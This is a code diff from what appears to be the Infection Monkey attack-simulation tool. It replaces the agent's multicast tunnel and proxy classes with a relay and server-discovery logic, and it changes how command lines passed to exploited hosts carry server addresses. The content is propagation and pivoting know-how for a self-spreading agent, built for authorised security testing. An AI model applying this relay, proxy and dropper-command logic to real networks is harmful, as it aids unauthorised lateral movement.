logger = logging.getLogger(__name__)
# The number of Island servers to test simultaneously. 32 threads seems large enough for all
# practical purposes. Revisit this if it's not.
NUM_FIND_SERVER_WORKERS = 32
def find_server(servers: Iterable[str]) -> Optional[str]:
server_list = list(servers)
server_iterator = ThreadSafeIterator(server_list.__iter__())
server_results: Dict[str, bool] = {}
run_worker_threads(
_find_island_server,
"FindIslandServer",
args=(server_iterator, server_results),
num_workers=NUM_FIND_SERVER_WORKERS,
)
for server in server_list:
if server_results[server]:
return server
return None
def _find_island_server(servers: Iterator[str], server_status: MutableMapping[str, bool]):
with suppress(StopIteration):
server = next(servers)
server_status[server] = _check_if_island_server(server)
def _check_if_island_server(server: str) -> bool:
logger.debug(f"Trying to connect to server: {server}")
try:
requests.get( # noqa: DUO123
f"https://{server}/api?action=is-up",
verify=False,
timeout=MEDIUM_REQUEST_TIMEOUT,
)
return True
except requests.exceptions.ConnectionError as err:
logger.error(f"Unable to connect to server/relay {server}: {err}")
except TimeoutError as err:
logger.error(f"Timed out while connecting to server/relay {server}: {err}")
except Exception as err:
logger.error(
f"Exception encountered when trying to connect to server/relay {server}: {err}"
)
return False
def send_remove_from_waitlist_control_message_to_relays(servers: Iterable[str]):
for server in servers:
t = create_daemon_thread(
target=_send_remove_from_waitlist_control_message_to_relay,
name="SendRemoveFromWaitlistControlMessageToRelaysThread",
args=(server,),
)
t.start()
def _send_remove_from_waitlist_control_message_to_relay(server: str):
ip, port = address_to_ip_port(server)
notify_disconnect(IPv4Address(ip), int(port))
def notify_disconnect(server_ip: IPv4Address, server_port: int):
"""
Tell upstream relay that we no longer need the relay.
:param server_ip: The IP address of the server to notify.
:param server_port: The port of the server to notify.
"""
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as d_socket:
try:
d_socket.connect((server_ip, server_port))
d_socket.sendall(RELAY_CONTROL_MESSAGE_REMOVE_FROM_WAITLIST)
logger.info(f"Control message was sent to the server/relay {server_ip}:{server_port}")
except OSError as err:
logger.error(f"Error connecting to socket {server_ip}:{server_port}: {err}")

View File

@ -70,11 +70,12 @@ class Puppet(IPuppet):
name: str,
host: VictimHost,
current_depth: int,
servers: Sequence[str],
options: Dict,
interrupt: threading.Event,
) -> ExploiterResultData:
exploiter = self._plugin_registry.get_plugin(name, PluginType.EXPLOITER)
return exploiter.exploit_host(host, current_depth, options, interrupt)
return exploiter.exploit_host(host, servers, current_depth, options, interrupt)
def run_payload(self, name: str, options: Dict, interrupt: threading.Event):
payload = self._plugin_registry.get_plugin(name, PluginType.PAYLOAD)

View File

@ -1,32 +1,41 @@
from functools import singledispatch
from ipaddress import IPv4Address
from infection_monkey.network.relay import TCPRelay
from infection_monkey.telemetry.exploit_telem import ExploitTelem
from infection_monkey.telemetry.i_telem import ITelem
from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger
from infection_monkey.tunnel import MonkeyTunnel
class ExploitInterceptingTelemetryMessenger(ITelemetryMessenger):
def __init__(self, telemetry_messenger: ITelemetryMessenger, tunnel: MonkeyTunnel):
def __init__(self, telemetry_messenger: ITelemetryMessenger, relay: TCPRelay):
self._telemetry_messenger = telemetry_messenger
self._tunnel = tunnel
self._relay = relay
def send_telemetry(self, telemetry: ITelem):
_send_telemetry(telemetry, self._telemetry_messenger, self._tunnel)
_send_telemetry(telemetry, self._telemetry_messenger, self._relay)
# Note: We can use @singledispatchmethod instead of @singledispatch if we migrate to Python 3.8 or
# later.
@singledispatch
def _send_telemetry(
telemetry: ITelem, telemetry_messenger: ITelemetryMessenger, tunnel: MonkeyTunnel
telemetry: ITelem,
telemetry_messenger: ITelemetryMessenger,
relay: TCPRelay,
):
telemetry_messenger.send_telemetry(telemetry)
@_send_telemetry.register
def _(telemetry: ExploitTelem, telemetry_messenger: ITelemetryMessenger, tunnel: MonkeyTunnel):
def _(
telemetry: ExploitTelem,
telemetry_messenger: ITelemetryMessenger,
relay: TCPRelay,
):
if telemetry.propagation_result is True:
tunnel.set_wait_for_exploited_machines()
if relay:
address = IPv4Address(str(telemetry.host["ip_addr"]))
relay.add_potential_user(address)
telemetry_messenger.send_telemetry(telemetry)

View File

@ -1,18 +0,0 @@
from typing import Mapping
from common.common_consts.telem_categories import TelemCategoryEnum
from infection_monkey.telemetry.base_telem import BaseTelem
class TunnelTelem(BaseTelem):
def __init__(self, proxy: Mapping[str, str]):
"""
Default tunnel telemetry constructor
"""
super(TunnelTelem, self).__init__()
self.proxy = proxy.get("https")
telem_category = TelemCategoryEnum.TUNNEL
def get_data(self):
return {"proxy": self.proxy}

View File

@ -1,31 +0,0 @@
import time
from threading import Thread
g_last_served = None
PROXY_TIMEOUT = 2.5
class TransportProxyBase(Thread):
def __init__(self, local_port, dest_host=None, dest_port=None, local_host=""):
global g_last_served
self.local_host = local_host
self.local_port = local_port
self.dest_host = dest_host
self.dest_port = dest_port
self._stopped = False
super(TransportProxyBase, self).__init__()
self.daemon = True
def stop(self):
self._stopped = True
def update_last_serve_time():
global g_last_served
g_last_served = time.time()
def get_last_serve_time():
global g_last_served
return g_last_served

View File

@ -1,17 +1,9 @@
import http.server
import select
import socket
import threading
import urllib
from logging import getLogger
from urllib.parse import urlsplit
from infection_monkey.network.tools import get_interface_to_target
from infection_monkey.transport.base import (
PROXY_TIMEOUT,
TransportProxyBase,
update_last_serve_time,
)
logger = getLogger(__name__)
@ -110,56 +102,6 @@ class FileServHTTPRequestHandler(http.server.BaseHTTPRequestHandler):
)
class HTTPConnectProxyHandler(http.server.BaseHTTPRequestHandler):
timeout = 30 # timeout with clients, set to None not to make persistent connection
def version_string(self):
return ""
def do_CONNECT(self):
logger.info("Received a connect request!")
# just provide a tunnel, transfer the data with no modification
req = self
req.path = "https://%s/" % req.path.replace(":443", "")
u = urlsplit(req.path)
address = (u.hostname, u.port or 443)
try:
conn = socket.create_connection(address)
except socket.error as e:
logger.debug(
"HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s"
% (repr(address), e)
)
self.send_error(504) # 504 Gateway Timeout
return
self.send_response(200, "Connection Established")
self.send_header("Connection", "close")
self.end_headers()
conns = [self.connection, conn]
keep_connection = True
while keep_connection:
keep_connection = False
rlist, wlist, xlist = select.select(conns, [], conns, self.timeout)
if xlist:
break
for r in rlist:
other = conns[1] if r is conns[0] else conns[0]
data = r.recv(8192)
if data:
other.sendall(data)
keep_connection = True
update_last_serve_time()
conn.close()
def log_message(self, format_string, *args):
logger.debug(
"HTTPConnectProxyHandler: %s - [%s] %s"
% (self.address_string(), self.log_date_time_string(), format_string % args)
)
class LockedHTTPServer(threading.Thread):
"""
Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
@ -226,11 +168,3 @@ class LockedHTTPServer(threading.Thread):
def stop(self, timeout=STOP_TIMEOUT):
self._stopped = True
self.join(timeout)
class HTTPConnectProxy(TransportProxyBase):
def run(self):
httpd = http.server.HTTPServer((self.local_host, self.local_port), HTTPConnectProxyHandler)
httpd.timeout = PROXY_TIMEOUT
while not self._stopped:
httpd.handle_request()

View File

@ -1,88 +0,0 @@
import select
import socket
from logging import getLogger
from threading import Thread
from infection_monkey.transport.base import (
PROXY_TIMEOUT,
TransportProxyBase,
update_last_serve_time,
)
READ_BUFFER_SIZE = 8192
SOCKET_READ_TIMEOUT = 10
logger = getLogger(__name__)
class SocketsPipe(Thread):
def __init__(self, source, dest, timeout=SOCKET_READ_TIMEOUT):
Thread.__init__(self)
self.source = source
self.dest = dest
self.timeout = timeout
self._keep_connection = True
super(SocketsPipe, self).__init__()
self.daemon = True
def run(self):
sockets = [self.source, self.dest]
while self._keep_connection:
self._keep_connection = False
rlist, wlist, xlist = select.select(sockets, [], sockets, self.timeout)
if xlist:
break
for r in rlist:
other = self.dest if r is self.source else self.source
try:
data = r.recv(READ_BUFFER_SIZE)
except Exception:
break
if data:
try:
other.sendall(data)
update_last_serve_time()
except Exception:
break
self._keep_connection = True
self.source.close()
self.dest.close()
class TcpProxy(TransportProxyBase):
def run(self):
pipes = []
l_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
l_socket.bind((self.local_host, self.local_port))
l_socket.settimeout(PROXY_TIMEOUT)
l_socket.listen(5)
while not self._stopped:
try:
source, address = l_socket.accept()
except socket.timeout:
continue
dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
dest.connect((self.dest_host, self.dest_port))
except socket.error:
source.close()
dest.close()
continue
pipe = SocketsPipe(source, dest)
pipes.append(pipe)
logger.debug(
"piping sockets %s:%s->%s:%s",
address[0],
address[1],
self.dest_host,
self.dest_port,
)
pipe.start()
l_socket.close()
for pipe in pipes:
pipe.join()

View File

@ -1,230 +0,0 @@
import logging
import socket
import struct
import time
from threading import Event, Thread
from common.utils import Timer
from infection_monkey.network.firewall import app as firewall
from infection_monkey.network.info import get_free_tcp_port, local_ips
from infection_monkey.network.tools import check_tcp_port, get_interface_to_target
from infection_monkey.transport.base import get_last_serve_time
logger = logging.getLogger(__name__)
MCAST_GROUP = "224.1.1.1"
MCAST_PORT = 5007
BUFFER_READ = 1024
DEFAULT_TIMEOUT = 10
QUIT_TIMEOUT = 60 * 10 # 10 minutes
def _set_multicast_socket(timeout=DEFAULT_TIMEOUT, adapter=""):
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM, socket.IPPROTO_UDP)
sock.settimeout(timeout)
sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sock.bind((adapter, MCAST_PORT))
sock.setsockopt(
socket.IPPROTO_IP,
socket.IP_ADD_MEMBERSHIP,
struct.pack("4sl", socket.inet_aton(MCAST_GROUP), socket.INADDR_ANY),
)
return sock
def _check_tunnel(address, port, existing_sock=None):
if not existing_sock:
sock = _set_multicast_socket()
else:
sock = existing_sock
logger.debug("Checking tunnel %s:%s", address, port)
is_open, _ = check_tcp_port(address, int(port))
if not is_open:
logger.debug("Could not connect to %s:%s", address, port)
if not existing_sock:
sock.close()
return False
try:
sock.sendto(b"+", (address, MCAST_PORT))
except Exception as exc:
logger.debug("Caught exception in tunnel registration: %s", exc)
if not existing_sock:
sock.close()
return True
def find_tunnel(default=None, attempts=3, timeout=DEFAULT_TIMEOUT):
l_ips = local_ips()
if default:
if default.find(":") != -1:
address, port = default.split(":", 1)
if _check_tunnel(address, port):
return address, port
for adapter in l_ips:
for attempt in range(0, attempts):
try:
logger.info("Trying to find using adapter %s", adapter)
sock = _set_multicast_socket(timeout, adapter)
sock.sendto(b"?", (MCAST_GROUP, MCAST_PORT))
tunnels = []
while True:
try:
answer, address = sock.recvfrom(BUFFER_READ)
if answer not in [b"?", b"+", b"-"]:
tunnels.append(answer)
except socket.timeout:
break
for tunnel in tunnels:
if tunnel.find(":") != -1:
address, port = tunnel.split(":", 1)
if address in l_ips:
continue
if _check_tunnel(address, port, sock):
sock.close()
return address, port
except Exception as exc:
logger.debug("Caught exception in tunnel lookup: %s", exc)
continue
return None
def quit_tunnel(address, timeout=DEFAULT_TIMEOUT):
try:
sock = _set_multicast_socket(timeout)
sock.sendto(b"-", (address, MCAST_PORT))
sock.close()
logger.debug("Success quitting tunnel")
except Exception as exc:
logger.debug("Exception quitting tunnel: %s", exc)
return
class MonkeyTunnel(Thread):
def __init__(
self,
proxy_class,
keep_tunnel_open_time,
target_addr=None,
target_port=None,
timeout=DEFAULT_TIMEOUT,
):
self._target_addr = target_addr
self._target_port = target_port
self._proxy_class = proxy_class
self._keep_tunnel_open_time = keep_tunnel_open_time
self._broad_sock = None
self._timeout = timeout
self._stopped = Event()
self._clients = []
self.local_port = None
super(MonkeyTunnel, self).__init__(name="MonkeyTunnelThread")
self.daemon = True
self.l_ips = None
self._wait_for_exploited_machines = Event()
def run(self):
self._broad_sock = _set_multicast_socket(self._timeout)
self.l_ips = local_ips()
self.local_port = get_free_tcp_port()
if not self.local_port:
return
if not firewall.listen_allowed(localport=self.local_port):
logger.info("Machine firewalled, listen not allowed, not running tunnel.")
return
proxy = self._proxy_class(
local_port=self.local_port, dest_host=self._target_addr, dest_port=self._target_port
)
logger.info(
"Running tunnel using proxy class: %s, listening on port %s, routing to: %s:%s",
proxy.__class__.__name__,
self.local_port,
self._target_addr,
self._target_port,
)
proxy.start()
while not self._stopped.is_set():
try:
search, address = self._broad_sock.recvfrom(BUFFER_READ)
if b"?" == search:
ip_match = get_interface_to_target(address[0])
if ip_match:
answer = "%s:%d" % (ip_match, self.local_port)
logger.debug(
"Got tunnel request from %s, answering with %s", address[0], answer
)
self._broad_sock.sendto(answer.encode(), (address[0], MCAST_PORT))
elif b"+" == search:
if not address[0] in self._clients:
logger.debug("Tunnel control: Added %s to watchlist", address[0])
self._clients.append(address[0])
elif b"-" == search:
logger.debug("Tunnel control: Removed %s from watchlist", address[0])
self._clients = [client for client in self._clients if client != address[0]]
except socket.timeout:
continue
logger.info("Stopping tunnel, waiting for clients: %s" % repr(self._clients))
# wait till all of the tunnel clients has been disconnected, or no one used the tunnel in
# QUIT_TIMEOUT seconds
timer = Timer()
timer.set(self._calculate_timeout())
while self._clients and not timer.is_expired():
try:
search, address = self._broad_sock.recvfrom(BUFFER_READ)
if b"-" == search:
logger.debug("Tunnel control: Removed %s from watchlist", address[0])
self._clients = [client for client in self._clients if client != address[0]]
except socket.timeout:
continue
timer.set(self._calculate_timeout())
logger.info("Closing tunnel")
self._broad_sock.close()
proxy.stop()
proxy.join()
def _calculate_timeout(self) -> float:
try:
return QUIT_TIMEOUT - (time.time() - get_last_serve_time())
except TypeError: # get_last_serve_time() may return None
return 0.0
def get_tunnel_for_ip(self, ip: str):
if not self.local_port:
return
ip_match = get_interface_to_target(ip)
return "%s:%d" % (ip_match, self.local_port)
def set_wait_for_exploited_machines(self):
self._wait_for_exploited_machines.set()
def stop(self):
self._wait_for_exploited_machine_connection()
self._stopped.set()
def _wait_for_exploited_machine_connection(self):
if self._wait_for_exploited_machines.is_set():
logger.info(
f"Waiting {self._keep_tunnel_open_time} seconds for exploited machines to connect "
"to the tunnel."
)
time.sleep(self._keep_tunnel_open_time)

View File

@ -1,20 +1,20 @@
from typing import List, Optional
from infection_monkey.config import GUID
from infection_monkey.exploit.tools.helpers import AGENT_BINARY_PATH_LINUX, AGENT_BINARY_PATH_WIN64
from infection_monkey.model import CMD_CARRY_OUT, CMD_EXE, MONKEY_ARG
from infection_monkey.model.host import VictimHost
# Dropper target paths
DROPPER_TARGET_PATH_LINUX = AGENT_BINARY_PATH_LINUX
DROPPER_TARGET_PATH_WIN64 = AGENT_BINARY_PATH_WIN64
def build_monkey_commandline(target_host: VictimHost, depth: int, location: str = None) -> str:
def build_monkey_commandline(servers: List[str], depth: int, location: Optional[str] = None) -> str:
return " " + " ".join(
build_monkey_commandline_explicitly(
GUID,
target_host.default_tunnel,
target_host.default_server,
servers,
depth,
location,
)
@ -22,23 +22,19 @@ def build_monkey_commandline(target_host: VictimHost, depth: int, location: str
def build_monkey_commandline_explicitly(
parent: str = None,
tunnel: str = None,
server: str = None,
depth: int = None,
location: str = None,
) -> list:
parent: Optional[str] = None,
servers: Optional[List[str]] = None,
depth: Optional[int] = None,
location: Optional[str] = None,
) -> List[str]:
cmdline = []
if parent is not None:
cmdline.append("-p")
cmdline.append(str(parent))
if tunnel is not None:
cmdline.append("-t")
cmdline.append(str(tunnel))
if server is not None:
if servers:
cmdline.append("-s")
cmdline.append(str(server))
cmdline.append(",".join(servers))
if depth is not None:
cmdline.append("-d")
cmdline.append(str(depth))
@ -49,13 +45,13 @@ def build_monkey_commandline_explicitly(
return cmdline
def get_monkey_commandline_windows(destination_path: str, monkey_cmd_args: list) -> list:
def get_monkey_commandline_windows(destination_path: str, monkey_cmd_args: List[str]) -> List[str]:
monkey_cmdline = [CMD_EXE, CMD_CARRY_OUT, destination_path, MONKEY_ARG]
return monkey_cmdline + monkey_cmd_args
def get_monkey_commandline_linux(destination_path: str, monkey_cmd_args: list) -> list:
def get_monkey_commandline_linux(destination_path: str, monkey_cmd_args: List[str]) -> List[str]:
monkey_cmdline = [destination_path, MONKEY_ARG]
return monkey_cmdline + monkey_cmd_args

View File

@ -1,2 +1,10 @@
def maximum_depth_reached(maximum_depth: int, current_depth: int) -> bool:
return maximum_depth > current_depth
"""
Return whether or not the current depth has eclipsed the maximum depth.
Values are nonnegative. Depth should increase from zero.
:param maximum_depth: The maximum depth.
:param current_depth: The current depth.
:return: True if the current depth has reached the maximum depth, otherwise False.
"""
return current_depth >= maximum_depth

View File

@ -1,8 +1,8 @@
import logging
from functools import wraps
from itertools import count
from threading import Event, Thread
from typing import Any, Callable, Iterable, Optional, Tuple
from threading import Event, Lock, Thread
from typing import Any, Callable, Iterable, Iterator, Optional, Tuple, TypeVar
logger = logging.getLogger(__name__)
@ -107,3 +107,28 @@ def interruptible_function(*, msg: Optional[str] = None, default_return_value: A
return _wrapper
return _decorator
class InterruptableThreadMixin:
def __init__(self):
self._interrupted = Event()
def stop(self):
"""Stop a running thread."""
self._interrupted.set()
T = TypeVar("T")
class ThreadSafeIterator(Iterator[T]):
"""Provides a thread-safe iterator that wraps another iterator"""
def __init__(self, iterator: Iterator[T]):
self._lock = Lock()
self._iterator = iterator
def __next__(self) -> T:
while True:
with self._lock:
return next(self._iterator)

View File

@ -72,11 +72,11 @@
},
"certifi": {
"hashes": [
"sha256:84c85a9078b11105f04f3036a9482ae10e4621616db313fe045dd24743a0820d",
"sha256:fe86415d55e84719d75f8b69414f6438ac3547d2078ab91b67e779ef69378412"
"sha256:43dadad18a7f168740e66944e4fa82c6611848ff9056ad910f8f7a3e46ab89e0",
"sha256:cffdcd380919da6137f76633531a5817e3a9f268575c128249fb637e4f9e73fb"
],
"markers": "python_version >= '3.6'",
"version": "==2022.6.15"
"version": "==2022.6.15.1"
},
"cffi": {
"hashes": [
@ -164,6 +164,14 @@
"markers": "python_version >= '3.7'",
"version": "==8.1.3"
},
"colorama": {
"hashes": [
"sha256:854bf444933e37f5824ae7bfc1e98d5bce2ebe4160d46b5edf346a89358e99da",
"sha256:e6c6b4334fc50988a639d9b98aa429a0b57da6e17b9a44f0451f930b6967b7a4"
],
"markers": "platform_system == 'Windows'",
"version": "==0.4.5"
},
"cryptography": {
"hashes": [
"sha256:0297ffc478bdd237f5ca3a7dc96fc0d315670bfa099c04dc3a4a2172008a405a",
@ -236,6 +244,13 @@
"index": "pypi",
"version": "==0.3.9"
},
"future": {
"hashes": [
"sha256:b1bead90b70cf6ec3f0710ae53a525360fa360d306a86583adc6bf83a4db537d"
],
"markers": "python_version >= '2.6' and python_version not in '3.0, 3.1, 3.2, 3.3'",
"version": "==0.18.2"
},
"gevent": {
"hashes": [
"sha256:0082d8a5d23c35812ce0e716a91ede597f6dd2c5ff508a02a998f73598c59397",
@ -485,6 +500,7 @@
"hashes": [
"sha256:a5488a3dd1fd021ce33f969780b88fe0f7eebb76eb20996d7318f307612a045b"
],
"index": "pypi",
"markers": "sys_platform == 'win32'",
"version": "==2022.5.30"
},
@ -641,6 +657,7 @@
"sha256:81a3ebc33b1367f301d1c8eda57eec4868e951504986d5d3fe437479dcdac5b2",
"sha256:8455176fd1b86de97d859fed4ae0ef867bf998581f584c7a1a591246dfec330f",
"sha256:845b178bd127bb074835d2eac635b980c58ec5e700ebadc8355062df708d5a71",
"sha256:858af7c2ab98f21ed06b642578b769ecfcabe4754648b033168a91536f7beef9",
"sha256:87e18f29bac4a6be76a30e74de9c9005475e27100acf0830679420ce1fd9a6fd",
"sha256:89d7baa847383b9814de640c6f1a8553d125ec65e2761ad146ea2e75a7ad197c",
"sha256:8c7ad5cab282f53b9d78d51504330d1c88c83fbe187e472c07e6908a0293142e",
@ -741,14 +758,32 @@
"version": "==2022.2.1"
},
"pywin32": {
"sys_platform": "== 'win32'",
"version": "*"
"hashes": [
"sha256:25746d841201fd9f96b648a248f731c1dec851c9a08b8e33da8b56148e4c65cc",
"sha256:30c53d6ce44c12a316a06c153ea74152d3b1342610f1b99d40ba2795e5af0269",
"sha256:3c7bacf5e24298c86314f03fa20e16558a4e4138fc34615d7de4070c23e65af3",
"sha256:4f32145913a2447736dad62495199a8e280a77a0ca662daa2332acf849f0be48",
"sha256:7ffa0c0fa4ae4077e8b8aa73800540ef8c24530057768c3ac57c609f99a14fd4",
"sha256:94037b5259701988954931333aafd39cf897e990852115656b014ce72e052e96",
"sha256:bb2ea2aa81e96eee6a6b79d87e1d1648d3f8b87f9a64499e0b92b30d141e76df",
"sha256:be253e7b14bc601718f014d2832e4c18a5b023cbe72db826da63df76b77507a1",
"sha256:cbbe34dad39bdbaa2889a424d28752f1b4971939b14b1bb48cbf0182a3bcfc43",
"sha256:d24a3382f013b21aa24a5cfbfad5a2cd9926610c0affde3e8ab5b3d7dbcf4ac9",
"sha256:d3ee45adff48e0551d1aa60d2ec066fec006083b791f5c3527c40cd8aefac71f",
"sha256:de9827c23321dcf43d2f288f09f3b6d772fee11e809015bdae9e69fe13213988",
"sha256:ead865a2e179b30fb717831f73cf4373401fc62fbc3455a0889a7ddac848f83e",
"sha256:f64c0377cf01b61bd5e76c25e1480ca8ab3b73f0c4add50538d332afdf8f69c5"
],
"index": "pypi",
"markers": "sys_platform == 'win32'",
"version": "==304"
},
"pywin32-ctypes": {
"hashes": [
"sha256:24ffc3b341d457d48e8922352130cf2644024a4ff09762a2261fd34c36ee5942",
"sha256:9dc2d991b3479cc2df15930958b674a48a227d5361d413827a4cfd0b5876fc98"
],
"index": "pypi",
"markers": "sys_platform == 'win32'",
"version": "==0.2.0"
},
@ -965,11 +1000,11 @@
},
"certifi": {
"hashes": [
"sha256:84c85a9078b11105f04f3036a9482ae10e4621616db313fe045dd24743a0820d",
"sha256:fe86415d55e84719d75f8b69414f6438ac3547d2078ab91b67e779ef69378412"
"sha256:43dadad18a7f168740e66944e4fa82c6611848ff9056ad910f8f7a3e46ab89e0",
"sha256:cffdcd380919da6137f76633531a5817e3a9f268575c128249fb637e4f9e73fb"
],
"markers": "python_version >= '3.6'",
"version": "==2022.6.15"
"version": "==2022.6.15.1"
},
"charset-normalizer": {
"hashes": [
@ -987,6 +1022,14 @@
"markers": "python_version >= '3.7'",
"version": "==8.1.3"
},
"colorama": {
"hashes": [
"sha256:854bf444933e37f5824ae7bfc1e98d5bce2ebe4160d46b5edf346a89358e99da",
"sha256:e6c6b4334fc50988a639d9b98aa429a0b57da6e17b9a44f0451f930b6967b7a4"
],
"markers": "platform_system == 'Windows'",
"version": "==0.4.5"
},
"coverage": {
"hashes": [
"sha256:01778769097dbd705a24e221f42be885c544bb91251747a8a3efdec6eb4788f2",

View File

@ -64,16 +64,6 @@ class TelemetryFeed(AbstractResource):
def get_telem_brief_parser_by_category(telem_category):
return TELEM_PROCESS_DICT[telem_category]
@staticmethod
def get_tunnel_telem_brief(telem):
tunnel = telem["data"]["proxy"]
if tunnel is None:
return "No tunnel is used."
else:
tunnel_host_ip = tunnel.split(":")[-2].replace("//", "")
tunnel_host = NodeService.get_monkey_by_ip(tunnel_host_ip)["hostname"]
return "Tunnel set up to machine: %s." % tunnel_host
@staticmethod
def get_state_telem_brief(telem):
if telem["data"]["done"]:
@ -132,7 +122,6 @@ TELEM_PROCESS_DICT = {
TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief,
TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief,
TelemCategoryEnum.TRACE: TelemetryFeed.get_trace_telem_brief,
TelemCategoryEnum.TUNNEL: TelemetryFeed.get_tunnel_telem_brief,
}

View File

@ -8,7 +8,6 @@ from monkey_island.cc.services.telemetry.processing.exploit import process_explo
from monkey_island.cc.services.telemetry.processing.post_breach import process_post_breach_telemetry
from monkey_island.cc.services.telemetry.processing.scan import process_scan_telemetry
from monkey_island.cc.services.telemetry.processing.state import process_state_telemetry
from monkey_island.cc.services.telemetry.processing.tunnel import process_tunnel_telemetry
logger = logging.getLogger(__name__)
@ -22,7 +21,6 @@ TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = {
TelemCategoryEnum.SCAN: process_scan_telemetry,
TelemCategoryEnum.STATE: process_state_telemetry,
TelemCategoryEnum.TRACE: lambda *args, **kwargs: None,
TelemCategoryEnum.TUNNEL: process_tunnel_telemetry,
}
# Don't save credential telemetries in telemetries collection.

View File

@ -1,15 +0,0 @@
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field
from monkey_island.cc.services.telemetry.zero_trust_checks.tunneling import (
check_tunneling_violation,
)
def process_tunnel_telemetry(telemetry_json, _):
check_tunneling_violation(telemetry_json)
monkey_id = NodeService.get_monkey_by_guid(telemetry_json["monkey_guid"])["_id"]
if telemetry_json["data"]["proxy"] is not None:
tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(telemetry_json)
NodeService.set_monkey_tunnel(monkey_id, tunnel_host_ip)
else:
NodeService.unset_all_monkey_tunnels(monkey_id)

View File

@ -14,8 +14,3 @@ def get_edge_by_scan_or_exploit_telemetry(telemetry_json):
dst_label = NodeService.get_label_for_endpoint(dst_node["_id"])
return EdgeService.get_or_create_edge(src_monkey["_id"], dst_node["_id"], src_label, dst_label)
def get_tunnel_host_ip_from_proxy_field(telemetry_json):
tunnel_host_ip = telemetry_json["data"]["proxy"].split(":")[-2].replace("//", "")
return tunnel_host_ip

View File

@ -1,32 +0,0 @@
import common.common_consts.zero_trust_consts as zero_trust_consts
from monkey_island.cc.models import Monkey
from monkey_island.cc.models.zero_trust.event import Event
from monkey_island.cc.services.telemetry.processing.utils import get_tunnel_host_ip_from_proxy_field
from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import (
MonkeyZTFindingService,
)
def check_tunneling_violation(tunnel_telemetry_json):
if tunnel_telemetry_json["data"]["proxy"] is not None:
# Monkey is tunneling, create findings
tunnel_host_ip = get_tunnel_host_ip_from_proxy_field(tunnel_telemetry_json)
current_monkey = Monkey.get_single_monkey_by_guid(tunnel_telemetry_json["monkey_guid"])
tunneling_events = [
Event.create_event(
title="Tunneling event",
message="Monkey on {hostname} tunneled traffic through {proxy}.".format(
hostname=current_monkey.hostname, proxy=tunnel_host_ip
),
event_type=zero_trust_consts.EVENT_TYPE_MONKEY_NETWORK,
timestamp=tunnel_telemetry_json["timestamp"],
)
]
MonkeyZTFindingService.create_or_add_to_existing(
test=zero_trust_consts.TEST_TUNNELING,
status=zero_trust_consts.STATUS_FAILED,
events=tunneling_events,
)
MonkeyZTFindingService.add_malicious_activity_to_timeline(tunneling_events)

View File

@ -6,7 +6,6 @@ import pytest
from infection_monkey.exploit import powershell
from infection_monkey.exploit.tools.helpers import AGENT_BINARY_PATH_WIN64
from infection_monkey.model.host import VictimHost
# Use the path_win32api_get_user_name fixture for all tests in this module
pytestmark = pytest.mark.usefixtures("patch_win32api_get_user_name")
@ -16,6 +15,8 @@ PASSWORD_LIST = ["pass1", "pass2"]
LM_HASH_LIST = ["bogo_lm_1"]
NT_HASH_LIST = ["bogo_nt_1", "bogo_nt_2"]
bogus_servers = ["1.1.1.1:5000", "2.2.2.2:5007"]
mock_agent_binary_repository = MagicMock()
mock_agent_binary_repository.get_agent_binary.return_value = BytesIO(b"BINARY_EXECUTABLE")
@ -33,6 +34,7 @@ def powershell_arguments(http_and_https_both_enabled_host):
}
arguments = {
"host": http_and_https_both_enabled_host,
"servers": bogus_servers,
"options": options,
"current_depth": 2,
"telemetry_messenger": MagicMock(),
@ -179,11 +181,10 @@ def test_login_attempts_correctly_reported(monkeypatch, powershell_exploiter, po
def test_build_monkey_execution_command():
host = VictimHost("127.0.0.1")
depth = 2
executable_path = "/tmp/test-monkey"
cmd = powershell.build_monkey_execution_command(host, depth, executable_path)
cmd = powershell.build_monkey_execution_command(bogus_servers, depth, executable_path)
assert f"-d {depth}" in cmd
assert executable_path in cmd

View File

@ -14,7 +14,7 @@ INTERVAL = 0.001
def test_terminate_without_start():
m = AutomatedMaster(None, None, None, None, MagicMock(), [], MagicMock())
m = AutomatedMaster(None, [], None, None, None, MagicMock(), [], MagicMock())
# Test that call to terminate does not raise exception
m.terminate()
@ -34,7 +34,7 @@ def test_stop_if_cant_get_config_from_island(monkeypatch):
monkeypatch.setattr(
"infection_monkey.master.automated_master.CHECK_FOR_TERMINATE_INTERVAL_SEC", INTERVAL
)
m = AutomatedMaster(None, None, None, None, cc, [], MagicMock())
m = AutomatedMaster(None, [], None, None, None, cc, [], MagicMock())
m.start()
assert cc.get_config.call_count == CHECK_FOR_CONFIG_COUNT
@ -73,7 +73,7 @@ def test_stop_if_cant_get_stop_signal_from_island(monkeypatch, sleep_and_return_
"infection_monkey.master.automated_master.CHECK_FOR_TERMINATE_INTERVAL_SEC", INTERVAL
)
m = AutomatedMaster(None, None, None, None, cc, [], MagicMock())
m = AutomatedMaster(None, [], None, None, None, cc, [], MagicMock())
m.start()
assert cc.should_agent_stop.call_count == CHECK_FOR_STOP_AGENT_COUNT

View File

@ -66,7 +66,7 @@ def hosts_to_exploit(hosts):
def enqueue_hosts(hosts: Iterable[VictimHost]):
q = Queue()
q: Queue = Queue()
for h in hosts:
q.put(h)
@ -85,6 +85,7 @@ def get_host_exploit_combos_from_call_args_list(call_args_list):
CREDENTIALS_FOR_PROPAGATION = {"usernames": ["m0nk3y", "user"], "passwords": ["1234", "pword"]}
SERVERS = ["127.0.0.1:5000", "10.10.10.10:5007"]
def get_credentials_for_propagation():
@ -98,7 +99,7 @@ def run_exploiters(exploiter_config, hosts_to_exploit, callback, scan_completed,
scan_completed.set()
e = Exploiter(puppet, num_workers, get_credentials_for_propagation)
e.exploit_hosts(exploiter_config, hosts, 1, callback, scan_completed, stop)
e.exploit_hosts(exploiter_config, hosts, 1, SERVERS, callback, scan_completed, stop)
return inner
